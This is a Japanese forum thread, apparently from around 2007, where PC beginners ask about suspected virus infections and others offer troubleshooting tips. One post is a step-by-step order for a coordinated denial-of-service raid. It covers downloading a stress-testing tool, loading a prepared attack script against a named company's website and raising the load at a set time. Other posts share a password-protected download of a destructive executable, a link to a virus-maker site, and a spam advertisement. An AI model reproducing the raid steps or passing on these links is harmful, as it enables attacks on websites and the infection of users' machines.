すいません。PC初心者、昨日からﾉｰﾄパソコンを動かしはじめたのですが、、
先ほどやっとの思いでライブ２ちゃんができるようになりまして、ﾚｽを表示したら画面全体が急に薄く真っ白になり、動かせなくなりました。
強制終了をして、立ち上げたらインターネット接続がめちゃくちゃ重くなりました。。
しまいには今、ﾗｲﾌﾞ２ちゃんだけは立ち上がるけどインターネットエクスプロ−ラをダブルクリックしようが一瞬反応して、ヤフーすらでなくなりました・・・

これはｳｨﾙｽでしょうか？？
なにか、いい手立てがあれば教えていただけるとすごく嬉しいのですが・・・　　

>>275-276
ウィルス対策ソフトは入れてるんだよね？　スキャンしたんだよね？

お騒がせしました。
sキャンして変なプログラム？をけしたらなんとかいけました

質問です。
2時間くらい前にPCを起動したのですが、起動してからずっと
CPU使用率が100％なんです。
リソースモニタを開いてみたらdllhost.exeというのが平均60％の
CPU使用率になっているんです。
これってウイルスですか？（わかりずらい文章ですみません・・・orz)

>>279
まず「dllhost.exe」でググってみようよ
エラー　ウィルス　検索するクセつけとけば　大抵自己解決できる

http://oshiete1.goo.ne.jp/qa2978408.html

>>275
システムの復元を無効にし、すぐに有効に戻してみてください。

>>279
280さんのいうとおりです。
少しでもいいから調べる癖をつけておくといいですよ。

>>281ありがとうございます　それで3Gは削れることができました。

しかし後24Gもあるんですが・・・ほとんどﾀﾞｳﾝﾛｰﾄﾞ等行わないのに溜まっているんですが・・・・なにか対処等他にないでしょうか

>>280 >>281
すみません。ありがとうございます。
dllhost.exeのプロセスを終了させて再起動させたら
直ったようです。そのあとウイルス検索もしましたが、
なんにもでてきませんでした。

パソコンを立ち上げると何度もクラッシュしてその後英語で何か書かれたが出て来る

bug.exeが起動時に毎回出る。ググってもわからない。ＨＥＬＰ

>>282
キャッシュとか消してみてください。
>>284
その英語を全文ここに書いてください。
>>285
P2Pとかやってませんか？

>>285そうです。ウイルスバスター２００７では無理でした。

>>285訂正後→>>286

>>288
P2Pウイルスは新種や悪質な物が多いのでP2Pはやめましょう。
ちょっと待っててください。
調べてみます。

>>289之に懲りてやめようと思います。お願いします。

>>286　無知ですいません。どうやって消せば；；

>>290
nyやP2P使ってると　バスターやノートンでもスルーされる悪質なプログラム拾うんだよね
bug.exe自体とレジストリやスタートアップフォルダからbug.exeを呼び出しているプログラムを削除すればよい…のかな？
ん〜　リカバリしちゃった方が早そう…　「4 ◆NFQtmGW3bw」さんなら詳しい対処法 わかるかな？　
P２Pやny使う時はさ　他の事に使わないそれ専用PCで　いつでもリカバリするくらいのつもりじゃないと…

>>291
「Ｃドライブの空き容量が増えていっているようなのですが」って事だけど　「空き」は減ってるんだよね
一時ファイル消すより　症状から考えられる一番の要因ってウィルスっぽいんだけど…
>277で書いた疑問がスルーされたんだけど　スキャンはしたんだよね？
それと　当たり前だけど　使わないプログラムは削除した？

>>290
まずセーフモードでにして起動してください。
起動できたら「スタートメニュー」→「すべてのプログラム」→「スタートアップ」
でbug.exeを起動しようとしていないか調べてください。

>>292
P2Pやってる人は知らず知らずのうちに感染してることもありますからね。
ちなみに自分もbug.exeはよくわかりません。できることはやってみるだけです。

>>293bug,exeの実行ファイルを消したら毎回起動時にbug.exeが見あたりません。と、くるようになった。
また、system32 cmd とかいうのも毎回動作するんです。これは消してもまたすぐ復活するんです。どこかに
親が居るんでしょうか？毎度、お願いします。

職場のPCの動作がおかしくなりました。
症状としてたCPU使用率が100%になったり、ﾃﾞｽｸﾄｯﾌﾟ上のｼｮｰﾄｶｯﾄｱｲｺﾝがﾁﾗﾁﾗ点滅(？)したり、ﾈｯﾄやるといったん表示した画面を何回も再読み込みしたりします。
ｳｲﾙｽﾊﾞｽﾀｰのｺｰﾎﾟﾚｰﾄｴﾃﾞｨｼｮﾝ及びｽﾊﾟｲﾎﾞｯﾄでﾁｪｯｸしましたが何も出てきません。
わかる方がいたら、対処のやり方教えてください。

>>294
http://windows.dot.thebbs.jp/1028536195.601-700
↑の[636]に似た症状のレスがあります　以降に対処方のレスも幾つかありますので試してみては？

>>295
「CPU使用率が100%」でググると幾つもHITします
いろいろ読んでみて　これかなという対処方を試してみては？（XPの修正パッチが多いようですが）
「ｼｮｰﾄｶｯﾄｱｲｺﾝがﾁﾗﾁﾗ点滅」「画面を何回も再読み込み」は　処理が遅くなっている事が原因かと

インストール中にウイルスバスターから警告表示出たので
すぐにインストール止めたんですが
検索したところスパイウェア1つだけ発見されました。

しかしPCを立ち上げると
勝手に次々サイトが出て来てきます。
これはウイルスではないのですか？

あと対処法を教えて下さい。

一昨日から キタコレ Win32.OnlineGames
手持ちの駆除ソフトで駆除できない
打ち込んだキーを盗んでいるような感覚あり

>>297
OS XPでしょうか？　
「スタートメニュー」→「すべてのプログラム」→「スタートアップ」の中を整理削除してみてください
スパイウェアの方は種類がわからないと　ただのトラッキングクッキーって事も

>>298
トロイWin32.OnlineGamesに対応した対策ソフトを購入しなされ
Win32.OnlineGamesでググって探せば　検出・駆除できるソフトもわかるかと

>>299
ありがとうございます(^ω^)

あの詳しい方にお聞きしたいのですが…
自分はノートンに入ってるのですが朝起きてパソコンをつけると
ノートンが赤くなっていてリスクありと出ていたのですが
再起動すると緑色で安全となったのですがウィルスか何かなんでしょうか？
ＰＣはあまり詳しくないのでわかる方お願いします。

これだろ！？
http://obarin.pupu.jp/soku.php
http://obarin.pupu.jp/soku2.php
http://obarin.pupu.jp/soku3.php

>>298
打ち込んだキーを盗んでるような感覚ってどんな感じ？

パケットアナライザでも使ってるのでは？

ヤフーとかグーグルで検索するとたいてい英語系のエロサイトにつながっちゃう。なぜ？

http://headlines.pwac.net/20070803-00000046-yom-soci.html

これ

>>305
その説明だと状況がよくわからないのですが　悪質なアドウェアにやられたのかな？

↓アドウェアのWIKIです　「リンク乗っ取り型」にやられた？
http://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%89%E3%82%A6%E3%82%A7%E3%82%A2

ウイルス対策ソフトで駆除できたと思うんですが　どうですか？

あ　コテのままだった　299でした
って　ま　いいか

なんかいきなりデスクトップなどの
文字がちいさくなってみえなくなったんですが；
どうすればいいですか？？

>>309
「フォントサイズ変更」でググってみなされ
いきなりって何？　なんで？　そんな悪戯ウィルスなんてあるの？　リモートされてる？

連打ソフトの「即打くん」を起動させたら
Trojan.Win32.Agent.yx
って言うのをウイルスセキュリティで検出しました。
2日ほど前からクリックがダブルクリックになったりするような
誤作動が出ていたのですが関係あるのでしょうか?
前から使っていたのでなぜ今になって?と言う思いはあります。

あぼーん

●ゲイツ砲射撃方法
　１.ゲイツをDL、.特製日本語化パッチをDLする。（http://juhuifjnm.hp.infoseek.co.jp/gates/）
　２.ゲイツをインストール。Yes→Next→しばしお待ちを→OK→Finish
　３.日本語化パッチを使用する前に、日本語パッチファイル内の「サービス停止.cmd」を起動
　４.日本語化パッチを使い、wastjp.exeを起動
　５.ゲイツ砲弾をDL、解凍。http://shota.aikotoba.jp/www.avexnet.or.jp.new.mdb（砲弾配布までDL不可）
　６.ゲイツ起動。（ディスク(C)＞Program File＞Microsoft Web Application Stress Tool＞hclient.exeから）
　７.砲弾を装填。（日：ファイル→開く→さっき解凍した砲弾を選択し開く）
　８.攻撃時刻と共に発射。（左上にある|＞(Run Script)をクリック→ｷﾀ━(ﾟ∀ﾟ)━━ ｯ!!!!!!）
　９.終了する。（日：テストの停止）
※ゲイツの威力アップ方法
　右のプルダウンからSettingを選択→ストレスレベルとストレス乗数を適度にあげる(ADSLで10*3ぐらい光なら20*5ぐらい)
　ゲイツは非常に強力。こちらを最優先に使用しろ。

作戦行動中に変更はありえない。語情報に注意し、攻撃部隊以外はVIPでの宣伝活動及びレーション（エロ画像）を用意し士気を上げるのだ。
更に詳しいことは、避難所（http://ex14.vip2ch.com/test/read.cgi/part4vip/1186146999/l50）を確認しろ。

>>311
誤作動はウィルスのせいみたいですね　yxって「Trojan.Win32.Agent」の亜種でしょうし
http://www.viruslistjp.com/viruses/encyclopedia/?virusid=124450
連打ソフトはウィルスとは関係なく　最近どこかでウィルスに感染した為に　今になって誤作動し始めたのでは？

HP開いてFDがガチャガチャなる
メール作成画面が大量に出る
ブラウザーが大量に出るのは(無限)
はたぶんブラクラだろう(たまに反応するときも)

gooメールの受信ボックスに英語で「私の事好き？」の件名で送信者はバージニアからでした。
クリップみたいなマークもついていて怖くて開けません。
最近PC購入したばかりで主にヤフオクとユウチュウブしか見てません。
どうしたら良いでしょうか？

PHP_SHELL.Gを踏んでしまいました
隔離に失敗して手動で削除が必要と出ました。
どうやって削除したらいいんでしょうか。

さっきｱﾆｿﾝ落としてたんだが、ｳｲﾙｽ踏んだっぽいんだ
誰か助けて下さい

ﾃﾞｰﾀ消えたケド復活しました

かおる姫というウイルスを踏んだんですけど
どのようなウイルスですか？情報を消されたのですか
どうやったらウイルスを削除できますか？

>>316
迷惑メール登録しなされ　メールを開かないのは正解

>>317
インターネット一時ファイル削除して　もう一度ウィルススキャンしなされ

>>318
ぽいって何だ　ぽいってｗ　助けてといわれても

>>320
「解凍すると、[image.tv] 磯山さやか〜.zipとquaol.zipが出来るｽ
さらに磯山zipの中にかおる姫.zipがあるので解凍するとかおる姫.exeと.jpgがあるｽ
でもってかおる姫.exeからTrojan horse Generic.NRを検出　PC有害」
って書き込み　ググって見つけたんだけど　コレの事？
ワームっぽい名前だけど　スキャンした？　結果は何とでた？

すいません、不安なので質問させていただきます。
MSNメッセンジャーを起動していたところ、知り合いの名前で
英語の文と同時にスクリーンセーバーのファイルが送られてきて、
その時は何も思わず受けとって起動してしまい（馬鹿だ・・・orz）
案の定ウイルスにかかってしまいまして・・・。
すぐにノートンでスキャンしてW32.Spybot.Wormを削除したんですが、
それからもしつこく何回も知り合いの名前で英語の文とファイルが送られてきます。
１０分程度で完全に削除はできているとは思うのですが、もしかして
自分から他者へ、またはその名前を語られている知り合いが感染している可能性がありますか？
チェックしてもらうように話しかけましたが、なにぶん夜中なので・・・。
よろしければ、詳しい方教えていただけないでしょうか？

>>322
ファイル名を指定して実行→regeditと入力してレジストリエディタを起動させる

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"Microsoft Genuine Logon" = "svchost.exe"
というエントリがあったら感染してる。

1週間で10GBもHDD容量が減ってしまいました
その間特に変わったことはしてなくて…
ニコニコ動画見まくってた位なんだけど
知らないうちにウイルスとかにやられてるんでしょうかorz
ちなみに7/22にノーパソ買ったばかりでVistaです

自分もかおる姫にやられました

　◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆

　完全無料で月３０万円を手軽に稼ぐネットビジネス

　◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆◇◆

　年齢、性別、地域も全部不問！誰でも超カンタン！

リスクゼロ！完全無料！１日３０分で３０万楽々ゲット！
　　　　
　　　　　　↓　　　　　↓　　　　　↓
　　　　
　　　　http://jyodowoyobe.blog107.fc2.com/

Yahoo!とかGoogleとかで検索して出たサイトにアクセスしようとすると外国のエロサイトにアクセスしちゃうんだけど
これってウイルス？
対処法よろ

あ
すぐ前に同じような人がいたわ

Trojan-Clicker.Win32.Delf.gl
Backdoor.Win32.VB.kb
カスペルスキーのフリーオンラインスキャンで調べたらこんなんでました。
調べてみてもこのウイルスの情報があんまりひっかからなくて困ってます
どなたかこの上二つのウイルスの情報知ってる人居ませんか？

先ほどネトゲやってて放置したら勝手再起動を繰り返すようになってしまいました・・・
画面に変な色がちりばめられて電源入れてもなおりませんウィルスでしょうか？

ＰＣがぶっこわれた
起動すると
NTLDR is missing
Press Ctrl+Alt+Del to restart
って出て、その操作をして再起動しても
また上と同じ画面が出ます
出来ればリカバリーはしたくない…
というかリカバリーも出来ない気が
何とかなりませんか

ｲﾝﾀｰﾈｯﾄをｸﾘｯｸするとﾌｧｲﾙのﾀﾞｳﾝﾛｰﾄﾞｰｾｷｭﾘﾃｨの警告とでてしまってｲﾝﾀｰﾈｯﾄに接続しません(＞＜;)
こういう場合どうしたらいいですか！？

ｳｨﾙｽもひっかからずわけわからなくて…
お願いします。

>>330
ブラスターウィルスにやられた　あるいは電源部orマザボの故障では

>>331
起動ディスクを作ってれば使用　回復コンソール起動　中身を他PC使って拾う
等の方法　試してみなされ

>>332 コレは？

InternetExplorerで、「セキュリティ保護のため、このサイトによる、このコンピュータへのファイルのダウンロードがInternetExplorerによりブロックされました」と表示される。
*******************************************************

情報バーをクリックすることで、ファイルのダウンロードを許可することができますが、ダウンロードを許可する前に、次の点を確認してください。

・該当のページが信頼できるページであること。
・ファイルやプログラムをダウンロードする心当たりがある
　こと。
・ダウンロードするファイルが信頼性のあるものであること。

信頼性の低いページや、ファイルのダウンロードをする心当たりがない場合は、すぐにダウンロードは行わず、そのままページを閲覧するか閉じることをおすすめします。
または、ページの提供元に、メッセージの内容について確認してください。

信頼性の低いページでは、意図しないプログラムや悪意のある不正なプログラムがダウンロードされることがあります。
ファイルのダウンロードの許可は、充分に注意し、自己責任において行ってください。

ファイルをダウンロードしても安全であることが確認できた場合は、次の手順で、ダウンロードを許可することができます。

1)「セキュリティ保護のため、このサイトによる、このコンピュータへのファイルのダウンロードがInternetExplorerによりブロックされました。」という部分をクリックし、表示されたメニューの「ファイルのダウンロード」をクリックします。
2)「ファイルのダウンロードセキュリティの警告」が表示されます。
3)「保存」ボタンをクリックし、任意のフォルダに保存してください。

334さんありがとうございます。
あのー、ｲﾝﾀｰﾈｯﾄをｸﾘｯｸするといきなりこのﾌｧｲﾙを保存しますか！？になっててｷｬﾝｾﾙしてもまたｲﾝﾀｰﾈｯﾄをｸﾘｯｸすると同じのが現れて…


既定のﾌﾟﾛｸﾞﾗﾑでは開けません、壊れているか正しくないﾌｧｲﾙが指定されていることが原因ですってなるんですが…

説明がわかりにくくてすいません(泣)

>>335
↓コッチかな？　試してみなされ
http://support.microsoft.com/kb/937409/ja

こんな方法もあるらしいけど　↓の「2007/May/11」
http://www5b.biglobe.ne.jp/~ecm/memo/

>>327だけどWikiに書いてある駆除サイトで落としたソフトで対処したら
確かにエロサイトには飛ばなくなったけど
ページが表示できませんに飛ぶようになった
前よりはましなんだけどどうせなら完璧に直したい
恐らく前に書き込みしていた人も同じ状況になってるはずだから
いい対処法は他にないだろうか？

>>319
自分もかおる姫踏んでデータが全部消えたっぽいんですけど、
どうやって復旧しました？？？？？
今かなりパニクってる＞＜

>>338
かおる姫踏んでしまった。
再起動はしないほうがいい。
NTLDR is missing..
とでて起動できなくなってしまう。

解消方を誰か頼む。

すいません、教えてください。
数日前から全てのサイトではないけど、いくつかのページを見ようとすると、
「このプログラムは不正な処理を行なったので強制終了します」が出て、その後で「コンピューターを再起動してください」となります。
もちろん再起動しても何も解決しません・・・・
恥ずかしながらＯＳも９８（！！）なのでバージョンアップもできません。
解決策はあるでしょうか？

なんかトロイ感染しちゃったみたいなんだけどどうしよう

リカバリすればおｋ？

http://asiapassion.net
これを踏んだらなんかウイルスバスターがウイルス見つけたみたいなんですが
どうしたらいいのでしょうか？
ウイルス検出時の処理が、隔離できませんとなっています。
何かしないといけないですか？
お願いします。

知らないうちにインターネットを介して
他人に自分のパソコンの中身を覗かれる
ことってあるのでしょうか？？
電源を切るときに「他の人がログオン中です。今電源を切ると
データが失われる可能性があります。」的なメッセージが
表示されたことがあるのですが、これは誰かが自分のパソコンに
不正にアクセスしているということでしょうか？？
パソコンに保存してある個人的な手紙などもすべて見られた可能が
あるということですか？？
↑これが一番気がかりです。。。
予防策として大切なフォルダのプロパティーの
「このフォルダをプライベートにする」ところをチェックした
のですが、これって効果ありますか？？
それからファイアウォールの
「有効」と「例外を許可しない」にチェックを
いれたのですが、これは効果ありますか？？
他に予防策ってありますか？？？

ネット回ってたらウイルスバスターの緊急警告が開き、感染したっぽいのですが、その後ウイルスバスターの検索をしても引っかかりません。
printer.exeって名前のもので、タスクバーに常駐していてポップアップが出し、クリックするとスパイウェアサイトに飛ばされます。
普通のファイル検索で探し、C:\WINDOWS\system32にあったので該当時間の疑わしいファイルは全て手で削除したらタスクバーなどからは消えたのですが、完全に直っていないらしいです
感染以来時計・システムの復元などの設定関連を開こうとすると「このコンピュータの制限により処理は取り消されました　システム管理者に問い合わせてください」と警告が出ていじれません
どのようにすれば解除できるか、わかる方いたらご教授願います
長文失礼しました

私もかおる姫ひっかかりました。
慌ててファイルを削除してしまったのですが、これはどういうウイルスなのでしょうか？
また、駆除出来たかどうかを確認する方法どなたか教えていただけないでしょうか？

自分もかおる姫に引っかかり再起動してしまいました。
NTLDR is missing　の画面から進みません＞＜

>>345
対処法を見つけるまではシャットダウンと再起動等はしないように
俺も引っ掛かって困ってるんだぜ
とりあえず基本的なファイル意外は全部消えたよ、俺
一緒に頑張ろうぜ

ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_DELF.FTT&VSect=T

かもしんない

アンチウィルスソフトにログは残っていませんの？
かおる姫組の症状を見るに、それだとつじつまがあわない・・・

これ俺のＰＣじゃねえからわかんねー
ノートンログの見方わかんねえよノートン！

ログでた
http://www.symantec.com/ja/jp/security_response/writeup.jsp?docid=2004-021914-2822-99
発生源は\かおる姫\かおる姫.exe\だた

トロイの木馬にも種類があるんで、その種類を知りたいんだが・・・
Trojan Horseと認識されるとは・・・

一応聞くけど、ノートンのウィルスデータベースは最新？

いや、これ姉貴のＰＣなんだけど、去年ＰＣを買って今日初めてネットに繋いだから大分怪しい。
多分2006。

>>353
漠然と「頭痛がします」では対処ができない。つまりそういうこと。
他のかおる姫組の降臨を待つしか・・・

俺のはデスクトップに保存して、それからそのまま削除したから大丈夫だったのかもしれない。
でもやっぱ怖いっていうか不安！
役に立たなくてスマン

かおる姫にかかってお手上げ状態な人が追加されましたよー


orz

アプリ未起動状態(常駐プログラムも含)なのですが
定期的に「カチッ」「カチッ」って音がして非常に気がかりなのですが
ウイルスなんでしょうかねぇ？・・・

youtubeやyourfilehostの動画を見ると途中でブラックアウトして電源ボタン長押しするしかなくなります
ただ、以前ﾒﾓﾘを増設して始めてだったものでそのときなにかしてしまったのかもしれません
ほこりが入ったりメモリがうまく入らなくてﾍﾞﾀﾍﾞﾀ触ったりと･･･
ウイルスかもしれないのですがどうでしょうか･･･？

というかその他のなんてことない作業中でもブラックアウトもするみたいです

http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww.wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww.org/
こいつはウイルスなのか？
これの中身を見た後に動作がおかしくなった訳だが。

今ウイルスバスターでウイルス検索してたら
きゅうにエラー音がして画面見たらウイルスを処理できませんってでてきた
もう手遅れですか？

突然PCの電源が落ち、起動したけど途中で止まってしまいます。
「無効なBOOT.INIファイルです」って出るんですが、
感染したのでしょうか??
ウイルスバスター入れてるんですけど、、、

http://ddo-jp.ddo.jp/download.php?no=14709

↑これね　　パス 777

これなんだけど、この中身にあるexeダブルクリした瞬間電源切れて
PC起動しなくなるウイルスなんだけどｗ
<Windows root>\system\hal.dll.が壊れるらしい　インストールし直してください
で立ち上がらないんだけどさ〜

きのう悲惨な目にあったんだけど　また検索かけてみたらバスターまったく
意味ない・・・ｗ　検索検出すらされないｗｗｗ　　
ノートン先生もスルーしてるしｗ　　新種だおこれ　　
こわいこわい　　　

>>362
たぶんBOOT.INI壊れたかも

再起動するな

IEオプションからキャッシュを根こそぎ削除
それから該当ファイルを消去

たったこれだけであぼーんは回避できる

リスタートしたらリカバリしか手はないぞ

携帯から失礼しましす。
昨日パソコンのマウスが止まって、キーボードも反応しなくなったので、
コンセントを抜いて、起動して、AVAST! 4.7Home Editionでウイルスチェックしたら
Win32:Trojan-gen.{Other}が２つ、
Win32:Adware-gen.{Adw}が１つ
検出されました。チェストに移動し、その後に削除したんですが、インターネットに繋がりません。
どうしたら繋がるようになりますか？教えて下さい。お願いします。

ウイルスっぽいです。
症状はディスプレイが流れて真っ白になってしまいます。orz
対処法等教えていただけますでしょうか。

対策ソフトはどれがいいの？

sotec　ノート　wl7160c を数年前に購入したのですが、付属のXP　OSを盗まれてしまい
ほかに購入したXP　PROFEESIONA　をインストールしました。

ところが、マルチメディア関係のデバイスのドライバがインストールされず、困っています。

メーカーサイトで探しているのですが、マザーボードファームウェアのドライバしかみつかりません。

これをダウンロードして実行しましたが、マルチメディア関連のドライバは黄色い？マークのままです。

これらのドライバはどこで入手すればよいのでしょうか？

また、インストール方法は間違っていないでしょうか？

自己解決しました＾＾；

Windowsantivirus2007
日本版がでています。 いかにもスパイウエア対策ソフトのような
名前で巧妙にダウンロードさせ感染させます。
カード支払で対策ｿﾌﾄ購入を要求する画面に誘導し、
危うくひっかかるところでした。

しかし危険なウイルスには感染してしまいました。
ただ対処がわからんのです。

WINDOWSのコントロール権限を破壊します。

情報求む。
この状態だとシマンテックのｿﾌﾄのアップデートもできません。

Windowsantivirus2007
日本版がでています。 いかにもスパイウエア対策ソフトのような
名前で巧妙にダウンロードさせ感染させます。
カード支払で対策ｿﾌﾄ購入を要求する画面に誘導し、
危うくひっかかるところでした。

しかし危険なウイルスには感染してしまいました。
ただ対処がわからんのです。

WINDOWSのコントロール権限を破壊します。

情報求む。
この状態だとシマンテックのｿﾌﾄのアップデートもできません。

警察にも通報しようと思います。

>>485

誤爆orz

すみません
至急教えてもらいたいです

先程サイトを見ていたら｢トロイの木馬が検出されました。ファイルを隔離する・今の作業を続ける。｣
というマカフィーのメッセージが出てきました

初めてだったので焦ってしまい間違えて今の作業を続けるを押してしまったんですがどうすればいいんでしょうか？

助けて下さい

AntiVirusFREEをダウンロードしたらWindowsを起動できなくなりました…どう対処すればいいのか全く分かりません…どなたか詳しい方教えていただけないでしょうか。

http://www.hackpalace.com/virii/makers/

ここについて詳しくたのんます

ニコニコ動画のサイトのリンクを踏んだら、なんか変な校歌みたいな曲が勝手に流れて止まらなくなりました。
どこをいじればこのウイルスだかスパイウェアだかが削除されますか？

ピクトの画像と思ったらトロイでした。携帯だったのですが携帯もウイルスにかかるのでしょうか

Cookieは無害？

cookieが有害てｗ

ゲームを起動しようとしたら、急に電源が落ちるんですが、これって
ウイルスなんですか？教えてくださいお願いします。

どなたかタスケテ下さい。
昨晩、嫁が実家に帰ったので、エロサイトにいったんです。

で、今朝、検索しようと、IEからグーグル、検索して、いくつかでた検索先から
そこにいこうとしたら・・・海外エロサイトへ。
何を検索しようが、そこのサイトに行ってしまいます。

ウィルススキャンをしてもひっかからないし、接続設定？からみても
なにをいじったらいいかわりません。

よろしくお願いします。

昨日海外のサイトを訪れた際、ﾋﾞﾃﾞｵのソフトらしき物をインストールして感染しました
症状は画面が赤いプライベート　デンジャーなる物に変えられて、システムアラートがしつこくポップアップした後
ウイルスソフト駆除画面がブラウザー（ＩＥ）でたちあがります。
＊注意　以下アドレス　　http://www.safewebnavigate.com/index.php?sid=0&aid=0&said=0&pn=&pid=0

どうやらフィッシングのスパイウエアの様なのですが、なにをやっても駆除できません。
起動時からバックグラウンドで常時稼動している付しがあります。
以下の処置はしてみましたが、効果ありません。よろしくお願いします。
・マカフィイ　フルスキャン
・ウイルスバスターお試し版　フルスキャン
・マイクロソフト　ディフェンダー　フルスキャン
・キングソフト　フルスキャン

>>383
http://www.asciisolutions.com/products/adaware/index.html
これ試してみなされ。

>>384
だめもとでこれ
http://www.asciisolutions.com/products/adaware/index.html
やってみてはいかがか。

かおる姫を再起動させてしまったのですが、対処法はどのようにしたらよろしいのでしょうか？
かおる姫組は、やはりこのスレに多いのでしょうか？
PCに詳しいかた、お助け下さい。

動画再生したら原田ウィルスＯＯ(ダブルオー)を見れました
動画再生後その動画を保存していた外付けHDDが認識されなくなりUSB指し直したところ認識されました
で特に症状は見られません
原田に対応されてるオンラインスキャンってありますか？

>>386
レスサンス

あれからかなりのフリーソフトを投入してなんとか影響のすくない状態までは持ってこれたんだけど、まだ完全に駆除しきれて
ないです。レジストリを書き換えようとするウイルスとクッキーに悪さするウイルスが検索のつど検出される。
週末再インスコします。

ＰＣ知識まったく無いのですが突然画面が真っ暗になり人の声がきこえてくるのですが
多分寿命だと思うんですがウイルス的な要因なんでしょうか？

>>390
心配ならスキャンしなされ。
ウィルススキャンソフト買ってくるか、オンラインスキャンサービス利用しなされ。
http://cowscorpion.com/Outline/secu_on.html
削除は手動かもしれない。
スキャンで引っかかったファイルをエクスプローラーから消す。
実行中で消せなかったらctrl+alt+deleteでタスクマネージャー起動して、
実行されてるウィルスを強制終了させてから消すこと。

助けてください。

ネットなどをやっていると突然青い画面に文字（エラー？）
が出て、次は黒のバックにウィンドウズを通常起動するやら
出てかなり悩んでいます。

こまめにスパイウェアなどを検索すると
1〜6件引っかかります（cookieやらなにやら）

わかりづらくて申し訳ありませんが
どうにか対処できませんか？

パソコンショップ完全最強リンク　つhttp://www.google.co.jp/search?hl=ja&q=%E7%9B%AE%E6%8C%87%E3%81%97%E3%81%A6%E3%81%84%E3%81%BE%E3%81%99%E3%80%80hakaku&lr=

感染してから、（たぶんエロサイトを見たときに感染）
ウイルスバスターを入れたんですが
削除できないウイルス一部あって（指定されたフォルダにない、検索しても出てこない）
毎日違う名前の危険度低のウイルスが起動します（PAK_GENERIC.006等）
その他、２ｃｈを見ていてもエロサイトが起動します
どーしたらいいの？

起動してしばらくするとマウスカーソルの動きが鈍くなってマウスが利かなくなります
キーマウスは利きますが動作が不安定です

ttp://www7.2kdown.com/link.php?ref=mRerTO5p1e

謎のファイル
誰かなんとかしてくれ

OSをログオフしたあと、
真っ黒な画面の真ん中の奥のほうに井戸みたいなのが出るんですけど、
ウィルスですか？

怖くて夜寝れません。

>>397
それは貞子ウィルスです。
今すぐリカバリ。
























































脳内を・・・。

ぶっちゃけ質問する前にクリーンインスト自分でやってみ。

データは外付けなりに移動して、まっさらなインストして
アンチソフト（お前らならウィルスバスターお薦め）セット。
移動したデータを検索して問題ないなら元に戻す。

んで自分でぁゃιぃサイト覗いてるなら、毎日アンチスパイウェア
は必ず掛ける。今はちょっとした海外サイトなら必ずあると思っていい。

その後は友人のデータにしても必ずウィルス検索。
メールはデフォでテキストのみ読むようにする。

中途半端に対応した所でウィルス増やすだけ。

こんにちは。前から聞きたかったので質問。
ウイルス等で日本語入力のＩＭＥの辞書や入力が壊れた場合、
まずはウイルス削除するだろ。それで、日本語が打てない状態なので、
またＩＭＥを再インストールって出来るの？
その場合、ＸＰのＣＤでＩＭＥだけもう一度セットアップするの？

http://ime.nu/imepita.zz.tc/020070817

http://www3.uploader.jp/user/fuckers666/images/fuckers666_uljp00006.jpg

これは？

突然すいません。
「HARADA virus」というものにかかってしまったようで、itunesも機能しなくなりました。
itunesのアイコンをデスクトップから開こうとすると変な画像が出てきてしまい、起動しません。
どうやらファイルを置き換えられているようなのですが、初心者なもので解決方法がわかりません。
どうか元に戻す方法を教えていただけないでしょうか？

まだ出ます。
OSをログオフしたあと、
真っ黒な画面の真ん中の奥のほうに井戸みたいなのが出るんですけど、
ウィルスですか？

怖くて夜寝れません。

>>404
釣り師乙。

PCの電源がいきなり落ちることがあります
主にニコニコ動画を見てる時とか動画を変換してる時に落ちます
その後電源を付けようと電源ボタンを押しても反応がなく
コンセントを抜いて再度入れ直すと電源が付くんです
ウィルスに感染してるのでしょうか
OSはXPです

ちょっとスレ違いかもなんですが、メールで届いた仕事の添付ファイルをウィルスソフトが削除してしまいました。

制限のあるファイルです、という理由でした。提出しなければならないものなのでどうにかしたいのですが復元は可能でしょうか…

やはりウィルスソフトの設定を解除して送りなおしてもらうしかないですのでしょうか。

適当なファイル等をクリックすると
そのファイルが開き続けます。
どう対処したらよいでしょうか？

2[1].ani
EXPL ANICMOO.GEN

cyber[1].wmf
EXPL　WMF.GEN

画像から感染した。。
検索してもみつからないです・・・
どうすれば。。

続けてカキコすみませぬ・・

トレンドマイクロのウイルスバスターで再度検索したところ
ファイル名の頭がすべてクッキーでした・・・

危険度は中　これは削除すべきでしょうか？

きになるなら、消せば。

パソコン初心者なんです。泣いちゃいそうなぐらい不安なので教えて下さい。
さっき開いた画像で柔道のヤワラちゃんが出てきた瞬間、ばーっとエロサイト？がいっぱい出てきました。
ウイルスバスターもかなり大量に「危険」と表示されたんですが、何が何だかわからなくて無理矢理電源を切りました。
何分か後に再起動したら今の所異常はなさそうですが、今後意味不明な料金請求とかパソコンの不具合とかあるのでしょうか？

>>412
ばーっといっぱい出てきたのはJavaScriptだと思われ。それ自体に多分実害は無い。
料金請求はこないはず。なんもメールアドレス送ったりしてないでしょ。
不具合が心配ならせっかくウィルスバスター入ってるんだから、完全スキャンしなされ。

質問です、２Ｃｈブラウザはまともに動くのですが
ＩＥなどでネットに繋ごうとしたら「サーバーが見つかりません」と出ます
どのサイトを開いても上記の通り
唯一まともに表示されるのはgoogleだけで検索先に飛んでも「サーバーが・・・」
これはウイルスでしょうか？

すいません、未熟な私に教えてください
文字を打つたびに、押してもないのにｓｓｓｓｓｓｓｓｓｓｓｓ
と連続してｓの文字が出るんです
肝心なときｓの文字を打っても出ません
ウイルスでしょうか？

どうもウイルスかどうか分からないんですが、PCが使い物にならなくなりました。
昨日、その日初めて起動したら、
「\SYSTEM32\CONFIG\SYSTEMファイルが壊れました」
と出て、指示通りWindowsセットアップを行おうとしたら、「同意する」を押した後、
「以前のウインドウズバージョンを検索中・・・」で止まってしまいます。
修復も再インストールも出来なくなりました。P2Pなどはやっていません。
結局PC本体を昨日買い替えました。アンチウイルスソフト付き59000円で・・・うっ。
何か情報がありましたらご教示願いたいのですが・・・

>>415
キーボード故障か、埃がたまってるか接触不良じゃなかろうか。
掃除機で吸うか、エアークリーナー吹いてだめならキーボード交換。
友達のキーボードが借りれるなら借りて試して原因の切り分けすると良い。

